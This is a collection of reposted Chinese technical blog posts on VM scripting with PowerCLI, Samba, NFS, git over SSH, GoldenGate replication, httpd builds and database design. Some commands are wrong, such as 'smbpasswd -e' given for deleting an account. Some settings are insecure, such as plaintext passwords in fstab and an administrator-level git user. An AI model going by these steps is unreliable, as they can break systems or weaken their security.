
暂无个人介绍
http://notesofascripter.com/2016/03/28/using-powercli-build-multiple-vms/ My first script that I ever wrote was a script to build VMs. I was the newest member on the team, and i was giving the task of building 50 VMs for a new project that was getting started. It was a very daunting task, due to the completion date to have these 50 VMs to be completed. So one of the other members of the team told me about PowerCLI, but didn’t have any knowledge about it. So I started to read about it, and got it installed. I started to run very simple commands, such as Get-Template just to see what it does. The more I got used to running these commands, I started to put together the script. So I started with getting all of the information that I needed to build the VM, the VM specs. So I put all of this information into a CSV file. Using PowerCLI to build multiple VMs So now that I have all of the VM specs into a CSV file, I needed to import them into the script for it to use. $vms = Import-CSV "C:\Scripts\NewVMs.csv" So now we have the bases of a the new script. Now I need to assign some variables. So as seen above in the CSV file we have header information, Name, Template, Cluster, Datastore, Customization, vCPU, Memory, Network, Harddrive, Harddrive2, Diskformat, and Location. This step might be able to be avoided now, but had problems with it before, so that is why I chose to set it up this way. #Assign Variables $VMName = $vm.Name $Template = Get-Template -Name $vm.Template $Cluster = $vm.Cluster $Datastore = Get-Datastore -Name $vm.Datastore $Custom = Get-OSCustomizationSpec -Name $vm.Customization $vCPU = $vm.vCPU $Memory = $vm.Memory $Network = $vm.Network $Location = $vm.Location Now that we have the variables going into the script we need to do the actually work. So the command that enables the VM to be created is New-VM. With that we can pump the most of the variables into the command New-VM, and a new VM will be generated. New-VM -Name $VMName -Template $Template -ResourcePool (Get-Cluster $Cluster | Get-ResourcePool) -Location $Location -StorageFormat Thin -Datastore $Datastore -OSCustomizationSpec $Custom That only uses a portion of the variables that we collected, so lets add some more of them to get a more complete VM. So we still have the number of vCPUs, amount of memory and the Network adapter setting. $NewVM = Get-VM -Name $VMName $NewVM | Set-VM -MemoryGB $Memory -NumCpu $vCPU -Confirm:$false $NewVM | Get-NetworkAdapter | Set-NetworkAdapter -NetworkName $Network -Confirm:$false At this point we have the parts for a working script to build VMs. Now just to put it all together and we’ll have a script that can build any number of VMs based on the information placed in to the CSV file. $vms = Import-CSV "C:\Scripts\NewVMs.csv" foreach ($vm in $vms){#Assign Variables $Template = Get-Template -Name $vm.Template $Cluster = $vm.Cluster $Datastore = Get-Datastore -Name $vm.Datastore $Custom = Get-OSCustomizationSpec -Name $vm.Customization $vCPU = $vm.vCPU $Memory = $vm.Memory $Network = $vm.Network $Location = $vm.Location $VMName = $vm.Name #Where the VM gets built New-VM -Name $VMName -Template $Template -ResourcePool (Get-Cluster $Cluster | Get-ResourcePool) -Location $Location -StorageFormat Thin -Datastore $Datastore -OSCustomizationSpec $Custom Start-Sleep -Seconds 10 #Where the vCPU, memory, and network gets set $NewVM = Get-VM -Name $VMName $NewVM | Set-VM -MemoryGB $Memory -NumCpu $vCPU -Confirm:$false $NewVM | Get-NetworkAdapter | Set-NetworkAdapter -NetworkName $Network -Confirm:$false } In the next post we will go over how to assign the IPs, subnet mask, gateway, and update the VMware tools. – Stuart Find this and all of my scripts at https://github.com/NotesofaScripter/PowerCLI 本文转自学海无涯博客51CTO博客,原文链接http://blog.51cto.com/549687/1865514如需转载请自行联系原作者 520feng2007
Redhat7 配置samba 安装: # yuminstall samba samba-common samba-client 启动服务: #systemctl start smb #systemctl start nmb #systemctl enable smb #systemctl enable nmb 配置文件路径:/etc/samba/smb.conf samba端口:TCP:139,445 UDP:137,138 装好后默认是user模式(貌似redhat7去掉了share模式) security= user,ads,domain/server 创建samba账号(须有对应本地账号): # smbpasswd –a aa 输入密码 修改samba密码命令: # smbpasswd aa (用户自己改直接敲smbpasswd即可) 删除samba账号: # smbpasswd –e aa 开放防火墙: # firewall-cmd –permanent –add-service=smb # firewall-cmd –permanent –add-service=nmb # firewall-cmd –reload 此时用账号访问samba直接进的家目录(默认设置) 但登录后发现进不去,须设置下selinux # setsebool –P samba_enable_home_dirs on (smb.conf里有关于selinux的提示) 如果客户端需要通过cifs方式进行挂载(否则没权限查看里面的数据) # setsebool -P samba_export_all_ro on # setsebool -P samba_export_all_rw on 查看账号对应共享: # smbclient–L //10.0.0.2 -U aa%123456 (aa为账号,123456为密码,中间是%) 允许匿名访问是在security =user下添加map to guest = bad user 客户端cifs挂载(需先安装cifs-utils) # mount -o username=ming,password=123456 -t cifs //10.0.0.2/home /aa 写入/etc/fstab: # vi/etc/fstab //10.0.0.2/home /aa cifs defaults,username=ming,password=123456 0 0 :wq 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1721600如需转载请自行联系原作者 yangzhimingg
摘要:接着昨天的数据库的数据类型定义和默认值设计,今天叙述数据表的设计。 昨天叙述了数据库的数据类型定义和默认值设计,由于业务规则的复杂性和商业上机密性,笔者不方便讲述需要定义的表的原因。只是在建表的过程中使用了定义的数据类型。数据表的定义不是很复杂,使用自定义的数据类型代替定义列的原始数据类型就可以了。在设计的过程中有一些需要思考斟酌的东西,就是数据表之间的关系,下面着重讲解一下几个重要的表。 会员注册的时候有一个会员信息表,他们的登陆信息需要保存在一个表中还是两个表中,如果是两个表, 比如member表保存基本信息,login表保存登陆信息,这两个表应该是一对一的关系。笔者在设计的过程中把会员的基本信息比如身份证,会员姓名等放在一起,把登陆信息放在另外的表中。理由有2,1.登陆表小,方便查询优化,2,为了应付以后可能的新的需求,比如要增加一个登陆信息,转到一个特定的能执行SQL的管理页面,就没有必要添加登陆对应的会员基本信息。实践证明这样是正确的,因为经常需要维护系统的数据,比如修改一些使用界面不能修改的东西,就可以使用这样的登陆来执行。下面是会员表的设计 create table member( m_id D_M_ID, name D_NAME, sex D_SEX, country D_NAME, province D_NAME, city D_NAME, bank_name D_name, bank_card D_BANKCARD, bank_city D_name, bank_site D_ADDRESS, ID_CARD D_IDCARD, mobile_phone D_PHONE, phone D_PHONE, E_MAIL D_EMAIL, zip D_ZIP, address D_ADDRESS, user_level D_TINY, regDate D_REGDATE, constraint pk_member primary key(m_id), ) go 另外一个就是奖金的信息表,奖金的种类有三十多种,对应每种奖金都建立一个表的话可能需要三十多个表,经过研究发现,奖金中有一些共同的特征,比如有ID号码,期数等,把这些信息可以综合在一个表中,使用一个奖金类型的列来进行区分,这样的话就需要两张表,一张表用于记录奖金所有的种类信息,另外的一张表用来记录奖金的具体信息。在查看个人奖金的时候可以使用视图来区分,以下就是 这两张表的设计, create table award_about( award_type int, award_num int, description varchar(100), constraint pk_award_about primary key(award_type) ) go -----------------------award_level------------------ create table award_level( al_id int identity(1,1), m_ID D_M_ID, turns D_TINY, c_times D_TINY, rm_id D_M_ID, level D_TINY, award_type D_TINY, amount D_TINY, money D_INT, enabled D_BIT, primary key(al_id) ) Go 由于系统需要在每次结算的时候进行数据备份,如果计算错误的话,需要进行回退,这样就使得一部分表在每次结算之前必须存放在另外的一张表中,称之为软备份。系统需要设置一个保存点,这个保存点其实是一张表,里面记录了当前系统的一些全局的信息,比如当前所在的期。这个表需要在每次计算的时候进行备份,系统恢复的时候首先恢复这个表,然后根据这个表的信息恢复所有其他表的信息。这个表需要始终保持只有一行。 create table misc( turns int default 1, head int default 1, tail int default 1, leave_coins D_INT, new_coins D_INT, consume_coins D_INT, c_times tinyint default 1, max_level D_TINY, deposition D_TINY, locked D_BIT, ) Go 历史纪录保存在下面的表中 create table misc_history( turns int default 1, c_times tinyint default 1, head int default 1, tail int default 1, leave_coins int, new_coins int, old_coins D_INT, new_shops D_INT, consume_coins D_INT, max_level D_TINY, deposition D_TINY, locked D_BIT, regdate D_REGDATE, constraint pk_misc_his primary key(turns,c_times) ) Go 还有一个比较复杂的表就是有着父子关系的树状表,其中的一个列代表了父节点的ID,在此就不多说了,不完整的表示如下: create table stock( s_id D_INT identity(1,1), ps_ID D_INT, ) Go 整个数据库表的设计需要不断的调整,直到满足所有的业务需求之后才能最终定下来。定下来的时间越早越好,有经验的数据库设计师可以预测到可能的变化,然后作出相应的机动设置信息。这种经验是可贵的,需要不断的实践才能获得,绝非一朝一夕能学到的。 今天就先到这里,明天接着讲述数据视图的设计,如果你能学到一些东西或者指出笔者的一些不足之处,笔者会十分高兴。 本文转自凌辉博客51CTO博客,原文链接http://blog.51cto.com/tianli/42190如需转载请自行联系原作者 lili00okok
声明:本文的目的是提供一个在windowsXP下安装使用git的简明教程,虽然关于git在Window下如何使用的文章很多,但是作者根据那些文章做实验发现,其中有些内容对于初学者比较晦涩,导致没有接触过的人不能做好实验,误导初学者,或者给初学者带来反面的信息,打击积极性。作者在花费了3个晚上之后终于把git的安装搞定,在此做一些记录,与大家分享。 安装git的环境:这一部分主要从网络上获取,但是经过一些加工或修改。需要安装两个工具: 1 - Git,Windows下的Git,还是msys-git比较好。 2 - SSH,可以用CopSSH,可以在Windows上启动SSH服务,而不仅是客户端。如果不知道网址,搜索一下。 安装这两个工具的过程没有什么难度。这里假定Git是安装在C:\Git目录下,CopSSH安装在C:\ICW目录下。安装过程中添加git用户,密码也是git。默认安装的git可能不好用,需要从ssh菜单->已经激活账户中删除git,同时在电脑的本地用户和组中删除git用户,再重新建立git本地用户,授予administrator权限,在ssh的菜单中激活git用户。git已经可以从远程ssh登陆。如果在命令行中输入ssh没有发现命令,需要在系统的Path中添加C:\ICW\bin目录和C:\Git\bin目录,输入ssh git@127.0.0.1输入密码后如果能打开远程,则说明git用户ssh登陆成功。 git用户通过ssh登录以后,可以执行ls,cd等基本命令。但是git仍然然不能运行。所以,也就还不能通过这个ssh来发布git版本库了。要实现这个,需要做一些设置。 首先、需要在Git的安装目录里找到cmd目录,这里就是C:\Git\cmd了。在里面创建如下几个文件: git, git-upload-pack, git-upload-archive, git-receive-pack。这里都没有扩展名的,主要是给登录后,由bash执行的。每个文件都只有一行,分别是: git里写 git.cmd $* git-upload-pack里写 git upload-pack $* git-upload-archive里写 git upload-archive $* git-receive-pack里写 git receive-pack $* 然后,就要给登录后的用户添加path了,保证上面添加的命令可以找到,并执行。找到CopSSH安装目录的etc下的profile文件。这里就是C:\ICW\etc\profile了:在文件最后添加两行 gitpath=`/bin/cygpath C:/Git/cmd` #这里不是引号,路径是Git下的cmd,斜杠也要用Unix的习惯 export PATH="$PATH:$gitpath" 然后,用git用户重新从SSH登录。就可以使用git命令了。 如果git命令提示找不到git-upload-pack,则需要配置C:\ICW\home\git下的.bashrc,在该文件的末尾添加刚才的命令 gitpath=`/bin/cygpath C:/Git/cmd` export PATH="$PATH:$gitpath" 这样基本上就可以使用了。为什么使用git命令时未加载C:\ICW\etc\profile,具体原因尚不清楚,但是.bashrc会被加载。 启动命令行,在C:\ICW\var目录下依次执行以下命令: mkdir testgit cd testgit git init touch a b c git add . git commit -m "init" 然后,就可以在远程clone这个库了。进入D盘执行 git clone git@127.0.0.1:../../vartestgit testgitA 则发现可以进行输出了,路径是相对于git登陆后的根目录C:\ICW\home\git git clone anotherUser@127.0.0.1:../../vartestgit testgitB clone出第二个版本库,分别在这两个库中执行操作。如果此时提交修改,则git并不知道是谁提交的,需要告诉git你是谁,在git用户的根目录C:\ICW\home\git中添加.gitconfig文件(window文件名不支持.开头,创建一个文件,通过ren命名重命名)输入 [user] name = git email = git@163.com 在anotherUser用户的根目录C:\ICW\home\anotherUser输入 [user] name = anotherUser email = anotherUser@163.com 打开命令行,进入到testgitA中设置用户属性:set home=C:\ICW\home\git,对所做的内容进行提交,最后调用git push命令把修改的内容永久的存放到中心版本库中,对anotherUser用户的目录testGitB需要同样的操作:set home=C:\ICW\home\anotherUser,这样提交的内容就被git区分出是谁提交的了。这样基本环境就搭建好了,可以进行进一步的实验了。关于git的命令请参考手册或者到网上搜索。兴奋的git探索之旅可以开始了,祝君好运。 本文转自凌辉博客51CTO博客,原文链接http://blog.51cto.com/tianli/227614如需转载请自行联系原作者 lili00okok
SERVER 2012 R2域策略应用简述 一、 域的层级关系 理解:域结构中主要有三个重要对象(域,OU,用户和计算机),他们在域环境中呈现出一种至上而下的层级关系。 二、 域对象介绍 作为域结构中的顶层对象,域好比是一家公司,其中包含有部门(OU)和部门员工(用户和计算机),而且一个域里可以根据需要建立多个OU,用户和计算机根据实际情况移动到不同的OU里。 需要明确一点:计算机在加入域之后默认存在于域的Computer容器里,我们可以根据需要将Computer容器里的计算机移动到指定的OU里,当然也可以不需要移动,保持默认,这个位置的移动仅仅关系到域策略是否要配属计算机策略,如果不打算给指定域配属计算机策略,可以不用移动位置。当前我没有移动,都是采用的用户策略(也就是将策略与登陆域用户账号进行绑定,一切策略都是基于账号来设置,账号登陆在哪台计算机上,就将策略应用到所登陆的计算机) 三、 域策略应用逻辑 域策略建立路径: 服务器管理器----工具------组策略管理 进入组策略管理器可以看到当前域下所建立的OU及策略对象 策略可以基于域或者某一个OU进行建立,这关系到该策略的应用范围,当前我们以基于OU建立策略作为后续介绍。 在希望建立策略的OU点右键会出现“在这个域创建GPO链接”的选项,如图: 点击“创建GPO链接”后填写相应链接名称即打开我们在单机环境所熟悉的组策略编辑管理器, 在组策略管理编辑器里我们可以看到两个分组策略:计算机配置和用户配置 这两组策略从策略配置上大体一致(当然肯定还是有不同之处的),计算机配置主要针对计算机生效的一组策略,用户配置是针对用户账户的一组策略,这两组策略和我们前面谈到的在域里的用户和计算机对象相对应,计算机配置主要作用于计算机对象,而用户配置作用于用户对象。 四、 策略对象的查看 在完成组策略设置后,我们可以通过组策略管理界面里选中相应策略,然后点击查看右侧“设置”选项卡对设置的每一条策略进行显示查看。 五、 计算机加入域 计算机加入域的前提条件需要将DNS设置为域控服务器IP(通常情况下,域控服务器和DNS服务器在同一台服务器上),这样本地计算机才能正常解析域名。 本文转自问道博客51CTO博客,原文链接http://blog.51cto.com/450236/1943412如需转载请自行联系原作者 crackernet
北京时间6月18日消息,据国外媒体报道,在最新公布的全球超级计算机500强排行榜上,IBM凭借超级计算机“走鹃”(Roadrunner)首次将运算速度提升至petaflop量级,而英特尔占有的份额则创造了历史新高。 超级计算500强排行榜由美国田纳西州立大学、美国劳伦斯伯克利国家实验室和德国曼海姆大学整理,每半年发布一次,最新一期于6月18日在国际超级计算机会议上公布。同此前的预期一样,IBM最新开发的“走鹃”占据了榜首宝座。“走鹃”的运算速度达到了1.026 petaflop,即每秒钟可进行1026万亿次浮点运算。 “走鹃”采用了一系列专门针对游戏和商业的技术,包括用于Play Station 3游戏机的Cell宽带引擎和AMD x86处理器。“走鹃”拥有130536个计算核心,包括12960颗Cell引擎的116640个PPE和SPE核心,以及6948颗双核AMD Opteron处理器。“走鹃”是全球第一台采用Cell处理器的混合式超级计算机,但也因此需要三种不同的编程工具,以确保不同核心同时高效率运行。 自2004年11月以来,IBM和美国能源部共同研制的蓝色基因/L一直排名榜首,直至此次被“走鹃”超越。蓝色基因/L安装于美国劳伦斯·利弗摩尔国家实验室,运算速度为478.2 teraflop,即每秒钟可进行478.2万亿次浮点运算。除“走鹃”之外,还有其它多款超级计算机正在努力将运算速度提升至petaflop量级。但是,到今年秋天更新超级计算机500强排行榜时,是否会有更多超级计算机实现这一目标还无法确定。 在最新公布的超级计算机500强中,有374款采用了英特尔处理器,所占比例为74.8%。六个月之前,共有354款超级计算机采用英特尔处理器,所占比例为70.8%。其中,采用英特尔Harpertown和Clovertown四核处理器的超级计算机由102款增至252款。多核处理器已经在超级计算机500强中占据了垄断性优势,其中282款采用了四核处理器,204款采用了双核处理器,只有7款采用了单核处理器。 与此同时,IBM Power处理器在超级计算机500强中所占比例超过了AMD Opteron系列。共有61款超级计算机采用IBM Power处理器,高于6个月之前的56款;所占比例为13.6%,高于6个月之前的12.2%。共有56款超级计算机采用AMD Opteron处理器,低于6个月之前的 78款;所占比例为11.2%,低于6个月之前的15.6%。 美国劳伦斯伯克利国家实验室计算机科学家埃利奇·斯特迈尔(Erich Strohmaier)表示:“在双核处理器领域,AMD一度占据领先优势。但由于推迟发布四核处理器,AMD失去了一些机会。在开发四核处理器的过程中,英特尔采用的战略十分聪明,首先将两个双核处理器封装在一起,使其性能达到普通双核处理器的两倍,从而迅速抢占了市场。” 在功耗效率方面,“走鹃”同样排名榜首,达到488 Mflops/瓦。IBM蓝色基因/P排在第二位,功耗效率为376 Mflops/瓦。采用英特尔Harpertown处理器的超级计算机也取得了长足的进步,功耗效率在221 Mflops/瓦到240 Mflops/瓦之间。在互连技术方面,Gigabit Ethernet的应用范围最为普遍,为285台超级计算机采用。随后是Infiniband,为120台超级计算机采用。 在系统厂商方面,有210台超级计算机来自于IBM,所占比例为42%。有183台超级计算机来自于惠普,所占比例为36.6%。戴尔、SGI和Gray分别占据了5.4%、4.4%和3.2%的比例。 本文转自自由心行博客51CTO博客,原文链接http://blog.51cto.com/xiaojiang2008/85004如需转载请自行联系原作者 xiaojiang
本来想整整httpd和tomca的整合试验,在网上找了个资料,就开始试验了,本人一向比较喜欢用RPM包来安装东西的,今天不知为啥,想用源码包来安装,好吗,我下了最新的httpd的2.3.6版本的源码包,丢到了服务器上。。。 悲剧开始了,第一步 configure就通不过啊,下面贴出一部分报错内容 [root@rep1 httpd]# ./configure --prefix=/usr/local/apache --enable-modules=so --enable-so checking for chosen layout... Apache Applying OS-specific hints for httpd ... forcing SINGLE_LISTEN_UNSERIALIZED_ACCEPT to "1" forcing AP_NONBLOCK_WHEN_MULTI_LISTEN to "1" checking for unistd.h... yes checking minix/config.h usability... no checking minix/config.h presence... no checking for minix/config.h... no checking whether it is safe to define __EXTENSIONS__... yes checking for library containing strerror... none required checking for APR version 1.3.0 or later... no configure: error: APR version 1.3.0 or later is required 报错内容说我的APR的版本太低,我看了下我的版本都是1.2.7的,好吗,没关系,我安装一个高的,我下了个 apr-1.4.2.tar.gz,安装好了,再来一次,依旧悲剧啊。。。 [root@rep1 httpd]# ./configure --prefix=/usr/local/apache --enable-modules=so --enable-so --with-apr=/usr/local/src/apr-1.4.2 checking for chosen layout... Apache checking for working mkdir -p... yes 。。。 checking minix/config.h usability... no checking minix/config.h presence... no checking for minix/config.h... no checking whether it is safe to define __EXTENSIONS__... yes checking for library containing strerror... none required checking for APR version 1.3.0 or later... yes checking for APR-util version 1.3.0 or later... no configure: error: APR-util version 1.3.0 or later is required [root@rep1 httpd]# 呵呵,说我的APR-UTIL的版本太低,没办法,我用下了apr_1.3.8.orig.tar.gz来安装,这个时候,在make的时候老是报错, [root@rep1 apr-util]# ./configure --with-apr=/usr/local/src/apr-1.4.2/ [root@rep1 apr-util]# make make[1]: Entering directory `/usr/local/src/apr-util' make[1]: *** No rule to make target `crypto/apr_md5.c', needed by `crypto/apr_md5.lo'. Stop. make[1]: Leaving directory `/usr/local/src/apr-util' make: *** [all-recursive] Error 1 [root@rep1 apr-util]# make install make: *** No rule to make target `crypto/apr_md5.c', needed by `crypto/apr_md5.lo'. Stop. [root@rep1 apr-util]# 问了网上的群友,说我的apr的路径不对,怎么不对了,我是奇怪了,我明明都是指向正确的,接下来的一段时间内那个纠结啊,换了N多个apr和apr-util的版本,TMD的人都快疯了,结果都是不成功,百般无奈之下到疯狂的百度,看到一篇文章也是说遇到我同样的问题,说编译httpd报错的时候,一般依赖文件都在httpd的源码里面自带的,我想,不会我下的这个源码包不全吧,打开在仔细看看,果然没有那个文章里面说的srclib这个文件夹,于是又到官网上去下包,反正又下了个我认为的源码包,下来了才看清晰,好像下错了啦-------httpd-2.3.6-deps.tar.bz2,不对,这个名字?我打开一看,果然有个SRCLIB,NND,我高兴坏了,赶紧丢到服务器上,果然安装APR和apr-util都很顺利。。。 最后来到http的文件夹内开始congfigure。。。 [root@rep1 httpd-2.3.6]# ./configure --prefix=/usr/local/apache2 --enable-modules=so --enable-so --with-apr=/usr/local/src/httpd-2.3.6/srclib/apr --with-apr-util=/usr/local/src/httpd-2.3.6/srclib/apr-util/ 。。。。。。。 configure: error: mod_so can not be built as a shared DSO 眼看最后关键的最后了,还给我报错。。。结果我把--enable-modules=so 这个参数删除了,居然成功了。。。那个汗颜啊。。。 一个上午尽在折腾安装一个httpd的了。。。。 建议如果在做实验的话,真的没必要下最新版本的软件来,血的教训和检验啊。 本文转自你是路人甲还是霍元甲博客51CTO博客,原文链接http://blog.51cto.com/world77/367263如需转载请自行联系原作者 world77
在完成ogg的单向复制配置后,自然会想着向前推进一层,实现双向复制;在实际应用中,双向复制面临着许多问题,主要有如下几点: 1. 如果两个库同时更新同一条记录 如何处理? 2. 如果网络出现失败如何处理? 3. 如果数据不同步后如何修复? 本文介绍如何在前文的基础上简单实现ogg的双向复制!双向复制一般用于双业务中心环境下,目前笔者的生产环境中未使用到ogg,ogg系列的文章只是从技术上提前做一个准备,因而许多问题的细节未能理清,后续将继续学习研究!在开始之前,请先配置好db1-db2的单向复制(include ddl replicat)! 参考:http://ylw6006.blog.51cto.com/470441/903752http://ylw6006.blog.51cto.com/470441/904373 一:配置db1,添加checkpoint表(本文db1和db2互为source和target,因而直接采用db1和db2来标识两台数据库服务器) GGSCI (db1) 3> view params ./GLOBALS ggschema ogg checkpointtable ogg.ggschkpt GGSCI (db1) 4> exit [oracle@db1 ogg]$ ggsci GGSCI (db1) 2> dblogin userid ogg,password ogg Successfully logged into database. GGSCI (db1) 3> add checkpointtable No checkpoint table specified, using GLOBALS specification (ogg.ggschkpt)... Successfully created checkpoint table ogg.ggschkpt. 二:配置db2,运行相关的脚本,支持DDL的复制 [oracle@db2 ogg]$ sqlplus /nolog SQL> conn /as sysdba Connected. SQL> grant execute on utl_file to ogg; Grant succeeded. [oracle@db2 ogg]$ ggsci GGSCI (db2) 1> view params ./GLOBALS ggschema ogg checkpointtable ogg.ggschkpt [oracle@db2 ogg]$ sqlplus /nolog SQL> conn /as sysdba Connected. SQL> @marker_setup.sql SQL> @ddl_setup.sql SQL> @role_setup.sql SQL> grant ggs_ggsuser_role to ogg; SQL> @ddl_enable.sql SQL> @?/rdbms/admin/dbmspool.sql SQL> @ddl_pin.sql ogg 三:db2上配置extract和pump进程 [oracle@db2 ogg]$ ggsci GGSCI (db2) 1> dblogin userid ogg,password ogg Successfully logged into database. GGSCI (db2) 2> add trandata hr.* GGSCI (db2) 5> view params eora_t2 extract eora_t2 setenv (NLS_LANG=AMERICAN_AMERICA.AL32UTF8) userid ogg,password ogg tranlogoptions excludeuser ogg //避免出现死循环复制,db1上的extract进程也需要进行此项设置 exttrail ./dirdat/ab table hr.*; GGSCI (db2) 6> add extract eora_t2,tranlog,begin now EXTRACT added. GGSCI (db2) 7> add exttrail ./dirdat/ab,extract eora_t2,megabytes 100 EXTTRAIL added. GGSCI (db2) 8> start extract eora_t2 Sending START request to MANAGER ... EXTRACT EORA_T2 starting GGSCI (db2) 13> view params pora_t2 extract pora_t2 setenv (NLS_LANG=AMERICAN_AMERICA.AL32UTF8) passthru rmthost 192.168.123.10,mgrport 7809 rmttrail ./dirdat/pb table hr.*; GGSCI (db2) 14> add extract pora_t2,exttrailsource ./dirdat/ab EXTRACT added. GGSCI (db2) 15> add rmttrail ./dirdat/pb extract pora_t2,megabytes 100 RMTTRAIL added. GGSCI (db2) 19> start extract pora_t2 Sending START request to MANAGER ... EXTRACT PORA_T2 starting GGSCI (db2) 20> info all Program Status Group Lag at Chkpt Time Since Chkpt MANAGER RUNNING EXTRACT RUNNING EORA_T2 00:00:00 00:00:04 EXTRACT RUNNING PORA_T2 00:00:00 00:01:10 REPLICAT RUNNING RORA_T1 00:00:00 00:00:04 四:db1上配置replicat进程 GGSCI (db1) 7> view params rora_t2 replicat rora_t2 setenv (NLS_LANG=AMERICAN_AMERICA.AL32UTF8) ddl include all ddlerror default ignore retryop maxretries 3 retrydelay 5 userid ogg,password ogg handlecollisions assumetargetdefs discardfile ./dirrpt/rora_t2.dsc,purge map hr.* ,target hr.*; GGSCI (db1) 1> add replicat rora_t2,exttrail ./dirdat/pb REPLICAT added. GGSCI (db1) 2> start replicat rora_t2 Sending START request to MANAGER ... REPLICAT RORA_T2 starting GGSCI (db1) 3> info all Program Status Group Lag at Chkpt Time Since Chkpt MANAGER RUNNING EXTRACT RUNNING EORA_T1 00:00:00 00:00:10 EXTRACT RUNNING PORA_T1 00:00:00 00:00:06 REPLICAT RUNNING RORA_T2 00:00:00 00:00:05 五:测试 [oracle@db1 ~]$ sqlplus hr/hr@db1 SQL> col location for a20 SQL> select * from t2; ID NAME LOCATION ---------- -------------------- -------------------- 2 two china 1 one SQL> update t2 set location='america' where id=1; 1 row updated. SQL> commit; Commit complete. SQL> select * from t2; ID NAME LOCATION ---------- -------------------- -------------------- 2 two china 1 one america SQL> conn hr/hr@db2 Connected. SQL> select * from t2; ID NAME LOCATION ---------- -------------------- -------------------- 2 two china 1 one american SQL> insert into t2 values (3,'three','japan'); 1 row created. SQL> commit; Commit complete. SQL> conn hr/hr@db1 Connected. SQL> select * from t2; ID NAME LOCATION ---------- -------------------- -------------------- 2 two china 1 one america 3 three japan SQL> alter table t2 add sex char(4); Table altered. SQL> desc t2 Name Null? Type ----------------------------------------- -------- ---------------------------- ID NOT NULL NUMBER NAME VARCHAR2(20) LOCATION VARCHAR2(200) SEX CHAR(4) SQL> conn hr/hr@db2 Connected. SQL> desc t2 Name Null? Type ----------------------------------------- -------- ---------------------------- ID NOT NULL NUMBER NAME VARCHAR2(20) LOCATION VARCHAR2(200) SEX CHAR(4) 本文转自斩月博客51CTO博客,原文链接http://blog.51cto.com/ylw6006/909286如需转载请自行联系原作者 ylw6006
今天同事给了6W多个IP叫我查出ISP和归属地,果断用python urllib2搞之,数据库用是淘宝的API接口 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #!/usr/bin/python #coding:utf-8 import urllib2 import json import time url = 'http://ip.taobao.com/service/getIpInfo.php?ip=' def checkTaobaoIP(ip): try: response = urllib2.urlopen(url + ip, timeout=5) result = response.readlines() data = json.loads(result[0]) return "%15s: %s-%s-%s" % (ip,data['data']['isp'],data['data']['region'],data['data']['city']) except: return "%15s: timeout" % ip if __name__ == "__main__": f = open('ip.txt') ips = f.readlines() f.close() f = open('ip-check.txt', 'w') for ip in ips: line = checkTaobaoIP(ip.strip()) if line: print line.encode('utf-8') f.write(line.encode('utf-8')+'\n') else: print line f.write(line+'\n') f.close() print "Done!" 本文转自运维笔记博客51CTO博客,原文链接http://blog.51cto.com/lihuipeng/1533936如需转载请自行联系原作者 lihuipeng
# 管道( pipe ):管道是一种半双工的通信方式,数据只能单向流动,而且只能在具有亲缘关系的进程间使用。进程的亲缘关系通常是指父子进程关系。# 有名管道 (named pipe) : 有名管道也是半双工的通信方式,但是它允许无亲缘关系进程间的通信。# 信号量( semophore ) : 信号量是一个计数器,可以用来控制多个进程对共享资源的访问。它常作为一种锁机制,防止某进程正在访问共享资源时,其他进程也访问该资源。因此,主要作为进程间以及同一进程内不同线程之间的同步手段。# 消息队列( message queue ) : 消息队列是由消息的链表,存放在内核中并由消息队列标识符标识。消息队列克服了信号传递信息少、管道只能承载无格式字节流以及缓冲区大小受限等缺点。# 信号 ( sinal ) : 信号是一种比较复杂的通信方式,用于通知接收进程某个事件已经发生。# 共享内存( shared memory ) :共享内存就是映射一段能被其他进程所访问的内存,这段共享内存由一个进程创建,但多个进程都可以访问。共享内存是最快的 IPC 方式,它是针对其他进程间通信方式运行效率低而专门设计的。它往往与其他通信机制,如信号两,配合使用,来实现进程间的同步和通信。# 套接字( socket ) : 套解口也是一种进程间通信机制,与其他通信机制不同的是,它可用于不同及其间的进程通信 本文转自写个博客骗钱博客51CTO博客,原文链接http://blog.51cto.com/dadonggg/1955582如需转载请自行联系原作者 菜鸟东哥
环境: 系统:centos6.4 64位 服务端:192.168.140.128 客户端:192.168.140.131 1、安装: yum -y install nfs-utils yum -y install rpcbind 2、启动: service rpcbind start service nfs start 设置开机启动: chkconfig --level 35 nfd on chkconfig --level 35 nfs on 3、配置nfs服务端: a、建立共享目录: mkdir -p /data/nfsshare b、配置/etc/exports文件 /data/nfsshare 192.168.140.131(rw,no_root_squash) c、重读配置: exportfs -rv 4、配置客户端 a、安装: yum -y install nfs-utils b、测试可用连接: showmount -e 192.168.140.128 c、挂载: mount -t nfs -o nolock 192.168.140.128:/data/nfsshare /data/nfsshare d、写入fstab: 192.168.140.128:/data/nfsshare /data/nfsshare nfs defaults 0 0 备注: NFS主要有3类选项: 访问权限选项 设置输出目录只读:ro 设置输出目录读写:rw 用户映射选项 all_squash:将远程访问的所有普通用户及所属组都映射为匿名用户或用户组(nfsnobody); no_all_squash:与all_squash取反(默认设置); root_squash:将root用户及所属组都映射为匿名用户或用户组(默认设置); no_root_squash:与rootsquash取反; anonuid=xxx:将远程访问的所有用户都映射为匿名用户,并指定该用户为本地用户(UID=xxx); anongid=xxx:将远程访问的所有用户组都映射为匿名用户组账户,并指定该匿名用户组账户为本地用户组账户(GID=xxx); 其它选项 secure:限制客户端只能从小于1024的tcp/ip端口连接nfs服务器(默认设置); insecure:允许客户端从大于1024的tcp/ip端口连接服务器; sync:将数据同步写入内存缓冲区与磁盘中,效率低,但可以保证数据的一致性; async:将数据先保存在内存缓冲区中,必要时才写入磁盘; wdelay:检查是否有相关的写操作,如果有则将这些写操作一起执行,这样可以提高效率(默认设置); no_wdelay:若有写操作则立即执行,应与sync配合使用; subtree:若输出目录是一个子目录,则nfs服务器将检查其父目录的权限(默认设置); no_subtree:即使输出目录是一个子目录,nfs服务器也不检查其父目录的权限,这样可以提高效率; 本文转自运维笔记博客51CTO博客,原文链接http://blog.51cto.com/lihuipeng/1739226如需转载请自行联系原作者 lihuipeng
